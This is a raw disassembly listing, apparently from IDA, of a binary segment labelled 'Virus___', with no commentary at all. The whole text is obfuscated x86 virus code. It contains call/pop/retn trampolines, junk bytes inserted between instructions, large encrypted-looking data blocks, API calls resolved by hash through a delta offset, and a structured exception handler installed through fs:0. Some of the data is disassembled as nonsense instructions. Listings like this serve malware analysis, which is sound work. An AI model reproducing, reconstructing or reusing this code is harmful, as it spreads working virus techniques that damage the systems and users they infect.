		dd 2260E3FEh, 0A3833975h, 1B85897Eh, 9071DEEh, 1B2291B5h
		dd 6AD18B07h, 0B58B6000h, 71B1199h, 2CE99589h, 6A61071Bh
		dd 0D2B70F00h, 0EE1BB5FFh, 6A071Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 214889C3h
		dd 0B02CB26h, 0FFE52C90h, 1DEE0795h, 50006A07h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 935F56Fh, 852025D0h
		dd 2850FC0h, 8A000000h,	1BB5FFCCh, 29071DEEh, 1B2CF195h
		dd 0F595FF07h, 0F071B0Bh, 68Ch,	8D858900h, 85071B34h, 1F850FC0h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 86C7C355h, 6ADB3Bh, 0DE9h, 32831200h
		dd 0AAB95B60h, 1571E30h, 80683C27h, 81000000h, 0A3FC2E7h
		dd 60036A59h, 2435958Bh, 5E9071Bh, 23000000h, 0CCAEAFA7h
		dd 0ADBD8B61h, 6A071B24h, 95895100h, 71B3435h, 89006A5Fh
		dd 1B345585h, 6807h, 0CE8C000h,	76000000h, 0BA222F42h
		dd 9BC6CF94h, 66FC2FBCh, 8955E781h, 93B5FF59h, 0F9071DEEh
		dd 0A057B966h, 2AD595FFh, 8166071Bh, 834B2CC9h,	850FFFF8h
		dd 57Fh, 185FFF9h, 0F071DF9h, 683h, 79BD0900h, 83071B04h
		dd 1DF901BDh, 840F0207h, 46Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 6CC35646h, 780AF2EFh, 0A72B5B7Ah
		dd 10DD8060h, 13820Fh, 0EE90000h, 9E000000h, 8D18C0BCh
		dd 0B61883C0h, 0CF15AFB4h, 0F18A61B1h, 243B858Dh, 6A005Bh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 0F2366FC3h, 0B8C562ABh, 0F1850196h, 8B071B0Dh, 1B2A5DBDh
		dd 6AD0FF07h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 279EC351h, 0B48CA4B3h,	8E858DBDh
		dd 0F005B1Eh, 682h, 74E78100h, 0FF74F316h, 8BD38BD0h, 9ADA81C0h
		dd 833435FEh, 1B1BD1BDh, 9750007h, 1FD5BD83h, 7400071Bh
		dd 8B535019h, 7D8B8C0h,	85890000h, 71B2A61h, 0ABB89D8Dh
		dd 0D3FF071Dh, 0BD83585Bh, 71B1FD5h, 50177400h,	7D8B853h
		dd 85890000h, 71B2A61h,	0A8A79D8Dh, 0D3FF071Dh,	0BF0F585Bh
		dd 0CA8B52F8h, 8EBA665Ah, 6AC08B78h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0E991C353h
		dd 0Bh,	0EC647C4Ah, 654D2F93h, 68433764h, 0F003Fh, 13E9h
		dd 0A24400h, 12D6BA54h,	89CB83E1h, 0ED6ABCE8h, 643D8DEFh
		dd 82B9006Ah, 6A503FC7h, 8ABF6600h, 0B595FFE0h,	66071B15h
		dd 0DBCBDA81h, 0BD8BC085h, 71B29E9h, 1FC59531h,	8589071Bh
		dd 71DEE17h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	0C7C35141h, 0DDD265Bh, 0F01FF68h, 73F68000h, 226DBD83h
		dd 0F00071Bh, 2D84h, 89950300h,	8D071B2Eh, 1DEE7485h, 69BD3307h
		dd 0E9071B21h, 1Fh, 0BE960h, 2D840000h,	8AF9A08Fh, 0E0AEBB4Ch
		dd 9BB66D6h, 858D614Dh,	71DEE4Ah, 50F9B70Fh, 6860Fh, 9D290000h
		dd 71B1F71h, 0EE17B5FFh, 6A071Dh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 78DA42C3h, 0F95FF2Ah
		dd 6A071DEEh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0EE36C351h, 575B468Ch,	62C19EB4h
		dd 0EE1B8589h, 8957071Dh, 1B17619Dh, 85C75F07h,	71B0C05h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_56D31A
; ---------------------------------------------------------------------------
		popa
		mov	ds:0EB00DF54h, eax
		inc	ecx
		adc	al, 0D2h


loc_56D31A:				; CODE XREF: Virus___:0056D30Cj
		cmp	dword ptr [ebp+71DEE1Bh], 0
		jz	loc_56D509
		push	0
		push	ebp
		call	sub_56D332
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D332	proc near		; CODE XREF: Virus___:0056D32Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_56D332	endp

; ---------------------------------------------------------------------------
		dw 0FF3Eh
		dd 0CEB1DFEh, 98B913BAh, 0F9858D32h, 0E8071DF0h, 0Dh, 369F09AAh
		dd 323DFB22h, 6455036Ah, 0E9816627h, 505FC3E3h,	14E9016Ah
		dd 39000000h, 842759E5h, 0C6C249FCh, 2B52F8D0h,	0F62EA6FCh
		dd 0FF08B919h, 1DEE1BB5h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 0DE960DAh
		dd 0B9000000h, 23CCE8B9h, 0CF5C2823h, 49F7B41Eh, 1EFDBD33h
		dd 0FF61071Bh, 1DEE1395h, 0EE907h, 0A3810000h, 5736BAB4h
		dd 593499E9h, 0AC1D99B0h, 0EE1BB5FFh, 6A071Dh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0D69E83C3h, 93476ADEh, 8B66B0D8h, 0F595FFCBh, 6A071B0Bh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 8FD1C351h, 0C706F924h, 0F8B70FADh, 0F01FF68h
		dd 0D8C98000h, 226DBD83h, 0F00071Bh, 2B84h, 51850900h
		dd 8D071B30h, 1DEE7485h, 6810F07h, 33000000h, 1B1F9195h
		dd 0D1BD2907h, 0E9071B28h, 2Dh,	55952B57h, 5A071B2Ch, 0EE4A858Dh
		dd 8C0F071Dh, 19h, 14E9h, 5DB1E900h, 0A43AD8EDh, 3207A235h
		dd 0E9A6911Ch, 0F8F8C69Ah, 0B5FF502Ah, 71DEE17h, 0EC26BA66h
		dd 0EE0F95FFh, 8B50071Dh, 85895FF9h, 71DEE1Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 9CC35343h, 0E98D296Fh
		dd 0FF071B1Bh, 1DEE1BB5h, 75952307h, 0FF071B1Bh, 1DEE0B95h
		dd 0DA816607h, 890F00C1h, 6, 0D919529h,	0B5FF071Bh, 71DEE1Bh
		dd 0FF5AF852h, 1B0BF595h
; ---------------------------------------------------------------------------
		pop	es


loc_56D509:				; CODE XREF: Virus___:0056D321j
		jmp	near ptr dword_56C514+654h
; ---------------------------------------------------------------------------
		mov	dx, ax
		push	dword ptr [ebp+71DF964h]
		push	0
		push	eax
		call	sub_56D522
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D522	proc near		; CODE XREF: Virus___:0056D51Ap

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ah
		inc	eax
		push	eax
		retn
sub_56D522	endp

; ---------------------------------------------------------------------------
		mov	ds:3CEABC68h, al
		cmp	eax, 7195FF1Dh
		or	ebx, [ebx]
		pop	es
		mov	edi, 71D89848h
		mov	eax, [ebp+71B2735h]
		mov	edi, ecx
		jmp	loc_56DB20
; ---------------------------------------------------------------------------
		jmp	loc_56D569
; ---------------------------------------------------------------------------
		dw 3E2Eh
		dd 1D061FF0h, 63925B63h, 707262E6h, 0FD40951h
		db 30h
; ---------------------------------------------------------------------------


loc_56D569:				; CODE XREF: Virus___:0056D551j
		lea	esi, [ebp+71DF119h]
		push	0
		push	ebp
		call	sub_56D57A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D57A	proc near		; CODE XREF: Virus___:0056D572p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_56D57A	endp

; ---------------------------------------------------------------------------
		dw 0B094h
; ---------------------------------------------------------------------------
		lea	eax, [ebp+71DA57Eh]
		jmp	loc_56D59F
; ---------------------------------------------------------------------------
		db 9Ch
		dd 9B1260F3h
		db 68h,	0FFh, 0F8h
; ---------------------------------------------------------------------------


loc_56D59F:				; CODE XREF: Virus___:0056D592j
		call	eax
		mov	dx, 0CE22h
		push	0
		or	edx, [ebp+71B2545h]
		mov	[ebp+71B2571h],	esi
		call	dword ptr [ebp+71B145Dh]
		movzx	edx, di
		mov	esi, ebx
		mov	edi, 124E16h
		lea	eax, [ebp+71DA57Eh]
		movzx	ecx, si
		mov	edx, [ebp+71B00DDh]
		call	eax
		push	edi
		mov	ecx, 60C0878Eh
		pop	ecx
		jmp	loc_56D5EE
; ---------------------------------------------------------------------------
		dd 4C3B910Bh, 4EF91C1Ah, 0A08D7853h
		db 57h,	23h
; ---------------------------------------------------------------------------


loc_56D5EE:				; CODE XREF: Virus___:0056D5DBj
		push	0
		mov	cl, 1Ch
		call	dword ptr [ebp+71B145Dh]
		js	loc_56D603
		mov	edx, 1E112462h


loc_56D603:				; CODE XREF: Virus___:0056D5F8j
		mov	eax, eax
		cmp	dword ptr [ebp+71B1BD1h], 0
		jnz	short loc_56D617
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56D630


loc_56D617:				; CODE XREF: Virus___:0056D60Cj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D9h
		mov	[ebp+71B2A61h],	eax
		lea	ebx, [ebp+71DABB8h]
		call	ebx
		pop	ebx
		pop	eax


loc_56D630:				; CODE XREF: Virus___:0056D615j
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56D650
		push	eax
		push	ebx
		mov	eax, 7D9h
		mov	[ebp+71B2A61h],	eax
		lea	ebx, [ebp+71DA8A7h]
		call	ebx
		pop	ebx
		pop	eax


loc_56D650:				; CODE XREF: Virus___:0056D637j
		sub	[ebp+71B21B1h],	ecx
		push	0
		push	ebp
		call	sub_56D661
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D661	proc near		; CODE XREF: Virus___:0056D659p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_56D661	endp

; ---------------------------------------------------------------------------
		db 0F4h, 0Ah, 0AAh
; ---------------------------------------------------------------------------
		mov	cx, 2231h
		mov	eax, eax
		mov	cx, 0B08h
		push	eax
		push	0
		push	esi
		call	sub_56D68A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D68A	proc near		; CODE XREF: Virus___:0056D682p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_56D68A	endp

; ---------------------------------------------------------------------------
		dw 0A1F7h
		dd 0F1BD8B05h, 0F071B29h, 0D88BCEB7h, 1FD98D8Bh, 8D53071Bh
		dd 1B15459Dh, 89038B07h, 50438B03h, 8D504389h, 1DF8FD9Dh
		dd 89038B07h, 95295B03h, 71B2231h, 0E8006AFCh, 8, 27D585E0h
		dd 0E89007B0h, 0DE9h, 0DA75ED00h, 8E58AA11h, 16CFE49Bh
		dd 8D59C067h, 1DF8FD85h, 50D48A07h, 5840Fh, 81660000h
		dd 6AE7ECEAh, 99858960h, 8D071B14h, 1B154585h, 50EA8A07h
		dd 6AD38Bh, 5D8D8Bh, 6A071Bh, 38D0Fh, 0DE800000h, 18006849h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 41D346C3h, 0B8E717ACh, 6FB66F08h,	59B58B60h
		dd 8B071B2Eh, 1B05B98Dh, 80536107h, 95FF84DEh, 71B2AC9h
		dd 80CFB70Fh, 95FFE5D6h, 71B293Dh, 2DF78166h, 64B5FFF1h
		dd 6A071DF9h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 0A632C357h, 58525FB4h,	0CE832A6h
		dd 0D5000000h, 820D5D91h, 0F432AF7Bh, 0BAB7F7E2h, 2A0BD3E1h
		dd 890F5Ah, 0FF000000h,	1B0B7195h, 0F5950307h, 8D071B2Dh
		dd 1B154585h, 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 1C18B909h, 0D0B70F77h, 8018408Bh
		dd 85C7E8D1h, 71B1A91h,	0
; ---------------------------------------------------------------------------
		jmp	loc_56D825
; ---------------------------------------------------------------------------
		db 8Ah,	12h, 0Dh
; ---------------------------------------------------------------------------
		adc	[ebx+54h], edi
		mov	bh, 0
		push	ebx
		retf	0B785h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		dw 0D56Dh
		dd 0BA7BCFFFh
; ---------------------------------------------------------------------------
		push	ebx


loc_56D825:				; CODE XREF: Virus___:0056D80Cj
		cmp	dword ptr [ebp+71B226Dh], 0
		jz	loc_56D86D
		mov	cl, bl
		cmp	eax, 8Ch
		jnb	loc_56DA45
		jmp	loc_56D858
; ---------------------------------------------------------------------------
		dd 3A219484h, 0CF063123h, 8F559498h, 78D56CD8h,	0BFC2182Fh
; ---------------------------------------------------------------------------


loc_56D858:				; CODE XREF: Virus___:0056D83Fj
		pusha
		mov	[ebp+71B12C9h],	eax
		mov	ebx, [ebp+71B1EC1h]
		popa
		jmp	loc_56D878
; ---------------------------------------------------------------------------
		mov	dl, 0B3h


loc_56D86D:				; CODE XREF: Virus___:0056D82Cj
		cmp	eax, 98h
		jnb	loc_56DA45


loc_56D878:				; CODE XREF: Virus___:0056D866j
		lea	eax, dword_5B243B[ebp]
		add	di, 0C838h
		mov	[ebp+71B2765h],	ecx
		call	eax
		push	edx
		movsx	edi, ax
		pop	edi
		sub	ecx, 6C137C17h
		lea	eax, word_5B1E8E[ebp]
		and	dh, 3Eh
		call	eax
		mov	edi, eax
		mov	eax, eax
		push	0
		push	esi
		call	sub_56D8B0
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D8B0	proc near		; CODE XREF: Virus___:0056D8A8p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_56D8B0	endp

; ---------------------------------------------------------------------------
		dd 10B2DC8h, 1B2ACDB5h,	0D1BD8307h, 71B1Bh, 0BD830975h
		dd 71B1FD5h, 50197400h,	0B8C08B53h, 0BC6h, 2A618589h, 9D8D071Bh
		dd 71DABB8h, 585BD3FFh,	1FD5BD83h, 7400071Bh, 0B8535017h
		dd 0BC6h, 2A618589h, 9D8D071Bh,	71DA8A7h, 585BD3FFh, 9E8h
		dd 0F071AD00h, 1C9B6688h, 666041A8h, 8B72E4BFh,	1B2BD185h
		dd 8B5F6107h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0BC55CB5Fh, 0AE990C1h, 0C4000000h
		dd 2E3CCDCDh, 0EDFDEB2Ch, 2A08BA78h, 0BF6618DAh, 0F8837C02h
		dd 8E850FFFh, 0F000000h, 589h, 0E769BF00h, 85C72366h, 71B0661h
		dd 0
; ---------------------------------------------------------------------------
		jnz	loc_56D994
		mov	[ebp+71B1461h],	edi


loc_56D994:				; CODE XREF: Virus___:0056D988j
		jmp	loc_56DADB
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_56D9A4
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D9A4	proc near		; CODE XREF: Virus___:0056D99Cp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_56D9A4	endp

; ---------------------------------------------------------------------------
		adc	eax, 6D446F45h
		sub	dh, dh
		mov	ds:958B3543h, eax
		icebp
		or	[ebx], bl
		pop	es
		jmp	loc_56DA3A
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_56D9D4
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56D9D4	proc near		; CODE XREF: Virus___:0056D9CCp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_56D9D4	endp

; ---------------------------------------------------------------------------
		dd 472AEFF4h, 0EDAF0D3h, 8166BFD7h, 0E96C7AE1h,	9, 8DD3329Ch
		dd 6C969D9h, 1F88317h, 30850Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0B0C849C3h
		dd 5F78E59Eh, 0B9660A76h, 0E9E94594h, 0B6000000h
		db 0BCh, 0F8h
; ---------------------------------------------------------------------------


loc_56DA3A:				; CODE XREF: Virus___:0056D9C4j
		jmp	near ptr dword_56C514+654h
; ---------------------------------------------------------------------------
		mov	edx, [ebp+71B0DB5h]


loc_56DA45:				; CODE XREF: Virus___:0056D839j
					; Virus___:0056D872j
		mov	eax, eax
		and	cx, 90Fh
		cmp	dword ptr [ebp+71B1BD1h], 0
		jnz	short loc_56DA5E
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56DA77


loc_56DA5E:				; CODE XREF: Virus___:0056DA53j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7DDh
		mov	[ebp+71B2A61h],	eax
		lea	ebx, [ebp+71DABB8h]
		call	ebx
		pop	ebx
		pop	eax


loc_56DA77:				; CODE XREF: Virus___:0056DA5Cj
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56DA97
		push	eax
		push	ebx
		mov	eax, 7DDh
		mov	[ebp+71B2A61h],	eax
		lea	ebx, [ebp+71DA8A7h]
		call	ebx
		pop	ebx
		pop	eax


loc_56DA97:				; CODE XREF: Virus___:0056DA7Ej
		mov	[ebp+71B2A51h],	esi
		push	0
		push	eax
		call	sub_56DAA8
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56DAA8	proc near		; CODE XREF: Virus___:0056DAA0p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 16h
		inc	eax
		push	eax
		retn
sub_56DAA8	endp

; ---------------------------------------------------------------------------
		dd 8BEEA76Ch, 1B1761BDh, 8BC08B07h, 1B14918Dh, 223E907h
		dd 0F600000h, 387h, 0CBB70F00h
; ---------------------------------------------------------------------------
		mov	dl, 25h
		popa


loc_56DADB:				; CODE XREF: Virus___:loc_56D994j
		lea	eax, [ebp+71DF701h]
		push	0
		push	ebp
		call	sub_56DAEC
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56DAEC	proc near		; CODE XREF: Virus___:0056DAE4p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_56DAEC	endp

; ---------------------------------------------------------------------------
		push	ds
		sbb	al, 0DDh
		sti
		inc	esi
		or	ch, bl
		dec	edi
		pusha
		add	eax, 7DB625F5h
		mov	ebx, [ebp+71B0435h]
		popa
		mov	[ebp+71DF8F9h],	eax
		stc
		jmp	loc_56DB57
; ---------------------------------------------------------------------------
		mov	dh, 2Eh


loc_56DB20:				; CODE XREF: Virus___:0056D54Cj
					; Virus___:0056DB40j
		lea	eax, [ebp+71DF509h]
		mov	edx, [ebp+71B1691h]
		inc	eax
		mov	[ebp+71DF8F9h],	eax
		push	ecx
		sub	[ebp+71B22E9h],	edx
		pop	ecx
		call	near ptr loc_56DB4C+4
		jecxz	short near ptr loc_56DB20+1
		cdq
		adc	bh, [edx+0Dh]
		imul	esp, ebp, 13657289h


loc_56DB4C:				; CODE XREF: Virus___:0056DB3Bp
		mov	al, ds:134BE9Dh
		popf
		stc
		sbb	eax, cs:[edi]
		pop	edx


loc_56DB57:				; CODE XREF: Virus___:0056DB19j
		push	34h
		lea	eax, [ebp+71B31E1h]
		push	eax
		push	dword ptr [ebp+71DF8F9h]
		push	0
		call	dword ptr [ebp+71B2959h]
		cmp	eax, 7
		jz	loc_56DCDF
		mov	bx, ds
		test	bl, 4
		jnz	loc_56DC85
		mov	byte ptr [ebp+71B1C05h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+71B225Dh]
		lea	eax, [ebp+71B3B0Ch]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+71DF96Ch],	eax
		mov	byte ptr [ebp+71B1C05h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+71B225Dh]
		lea	eax, [ebp+71B3B0Ch]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+71B1C05h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+71B00ADh]
		lea	eax, [ebp+71B3B0Ch]
		call	eax
		lea	ebx, [ebp+71DF968h]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+71B1C05h], 41h
		push	0DB876498h
		push	dword ptr [ebp+71B00ADh]
		lea	eax, [ebp+71B3B0Ch]
		call	eax
		mov	[ebp+71DF985h],	eax
		mov	byte ptr [ebp+71B1C05h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+71B00ADh]
		lea	eax, [ebp+71B3B0Ch]
		call	eax
		mov	ebx, [ebp+71DF96Ch]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+71DF971h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+71DF96Ch]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+71B04B1h]
		mov	dword ptr [ebp+71B0349h], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+71DF96Ch]
		push	ebx
		push	0
		push	dword ptr [ebp+71DF968h]
		call	dword ptr [ebp+71DF985h]


loc_56DC85:				; CODE XREF: Virus___:0056DB7Dj
		mov	byte ptr [ebp+71B1C05h], 45h
		push	92A5F797h
		push	dword ptr [ebp+71B08CDh]
		lea	eax, [ebp+71B3B0Ch]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_56DCDF
		mov	ebx, [ebp+71DF96Ch]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+71DF96Ch]
		push	ebx
		push	0
		push	dword ptr [ebp+71DF968h]
		call	dword ptr [ebp+71DF985h]
		push	dword ptr [ebp+71DF968h]
		call	dword ptr [ebp+71B293Dh]


loc_56DCDF:				; CODE XREF: Virus___:0056DB71j
					; Virus___:0056DCABj
		push	0
		call	dword ptr [ebp+71B145Dh]
		mov	[ebp+71B22D5h],	ebx
		mov	cx, 0D853h
		lea	eax, [ebp+71E2D37h]
		or	ecx, 1F207329h
		push	eax
		push	0
		push	ebx
		call	sub_56DD09
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56DD09	proc near		; CODE XREF: Virus___:0056DD01p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_56DD09	endp

; ---------------------------------------------------------------------------
		adc	[esp+eax], eax
		leave
		stosd
		push	large dword ptr	fs:0
		mov	dx, 8DB1h
		mov	large fs:0, esp
		mov	dx, bx
		cmp	dword ptr [ebp+71B2EB5h], 0
		jz	loc_56DDB3
		jmp	loc_56DD54
; ---------------------------------------------------------------------------
		db 0ABh, 1Ah, 0A1h
		dd 0F3651212h, 618B3DBh, 80D4ACB0h
; ---------------------------------------------------------------------------


loc_56DD54:				; CODE XREF: Virus___:0056DD40j
		mov	di, 0A62Ch
		cmp	dword ptr [ebp+71B2105h], 1
		jnz	loc_56DDB3
		push	0
		push	ecx
		call	sub_56DD70
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56DD70	proc near		; CODE XREF: Virus___:0056DD68p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_56DD70	endp

; ---------------------------------------------------------------------------
		mov	dl, 72h
		and	[eax+1Fh], dh
		xchg	al, [ebx-52h]
		sbb	bl, bh
		push	esi
		sub	[ebp+71B2535h],	eax
		pop	edx
		cmp	byte ptr [ebp+71DFD85h], 0
		jnz	loc_56DDB3
		xor	cx, 6303h
		jmp	loc_56DF6D
; ---------------------------------------------------------------------------
		mov	di, 4F51h
		mov	ecx, [ebp+71B2CA5h]


loc_56DDB3:				; CODE XREF: Virus___:0056DD3Aj
					; Virus___:0056DD5Fj ...
		xor	ebx, ebx
		jmp	loc_56DDCA
; ---------------------------------------------------------------------------
		dw 0F60Eh
; ---------------------------------------------------------------------------
		cmp	esi, ecx
		inc	edx
		pop	ss
		sub	eax, 25D44F10h
		cmp	al, 46h
		or	esi, [ebx+edx]


loc_56DDCA:				; CODE XREF: Virus___:0056DDB5j
		xor	eax, eax
		call	near ptr loc_56DDD9+1
		in	eax, 56h
		in	al, 18h
		popa
		aas
		mov	ch, 1Dh


loc_56DDD9:				; CODE XREF: Virus___:0056DDCCp
		adc	[ecx-39BEF02Eh], al
		add	eax, 3F0F405Fh
		pop	es
		or	esp, [edi+ecx*4+5]
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 4C48300h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0B7C35646h, 0E082D050h,	3028879Ah, 0FB83C88Bh
		dd 4A840FFFh, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0D64C355h, 588DA0A3h
		dd 4BA450ABh, 8E8h, 3594B800h, 14428D92h, 25BD8B85h, 59071B24h
		dd 16DDB529h, 0E9071Bh,	50000001h, 4A86BF66h, 80E95Ah
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 9412FBC3h, 407C46A7h, 0F1B52916h,	0F071B1Eh
		dd 6651D2BFh, 19A2CA81h, 244C8B5Fh, 0A481C70Ch,	0FF000000h
		dd 83FFFFFFh, 0B881h, 0C0330400h, 245C8BC3h, 0E8550Ch
		dd 5D000000h, 2D59ED81h, 838B071Eh, 0B8h, 2E03858Dh, 8389071Eh
		dd 0B8h, 0C3C0335Dh, 6870F50h, 8B000000h, 1B23E18Dh, 858D5F07h
		dd 71E2D4Fh, 53006A50h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 60013053h, 18F0Fh, 8BFC0000h, 816661D8h
		dd 64D05DC9h, 35FFh, 0B9660000h, 8964489Bh, 25h, 45BD8900h
		dd 0B9071B1Fh, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h
		dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h
		dd 1B32C985h, 107h
		db 0
; ---------------------------------------------------------------------------


loc_56DF6D:				; CODE XREF: Virus___:0056DDA4j
		pop	large dword ptr	fs:0
		add	esp, 4
		jmp	loc_56DF87
; ---------------------------------------------------------------------------
		dd 2E32B993h, 5E85FB8Ah
		db 89h,	5, 83h
; ---------------------------------------------------------------------------


loc_56DF87:				; CODE XREF: Virus___:0056DF77j
		and	di, 0A0E6h
		jmp	loc_56DFA0
; ---------------------------------------------------------------------------
		db 43h,	42h, 3Ah
		dd 0FCD598C6h, 9A50A1A8h, 1B635D57h
; ---------------------------------------------------------------------------


loc_56DFA0:				; CODE XREF: Virus___:0056DF8Cj
		mov	eax, eax
		jno	loc_56DFAE
		sub	[ebp+71B0BC5h],	ecx


loc_56DFAE:				; CODE XREF: Virus___:0056DFA2j
		cmp	dword ptr [ebp+71B1BD1h], 0
		jnz	short loc_56DFC0
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56DFD9


loc_56DFC0:				; CODE XREF: Virus___:0056DFB5j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+71B1311h],	eax
		lea	ebx, [ebp+71DAC1Fh]
		call	ebx
		pop	ebx
		pop	eax


loc_56DFD9:				; CODE XREF: Virus___:0056DFBEj
		cmp	dword ptr [ebp+71B1FD5h], 0
		jz	short loc_56DFF9
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+71B1311h],	eax
		lea	ebx, [ebp+71DA8C0h]
		call	ebx
		pop	ebx
		pop	eax


loc_56DFF9:				; CODE XREF: Virus___:0056DFE0j
		push	0
		push	esi
		call	sub_56E004
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_56E004	proc near		; CODE XREF: Virus___:0056DFFCp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_56E004	endp

; ---------------------------------------------------------------------------
		db	3Eh
		dec	eax
		fcomp	qword ptr [ecx-6028919Fh]
		xor	al, 60h
		mov	[ebp+71B212Dh],	esi
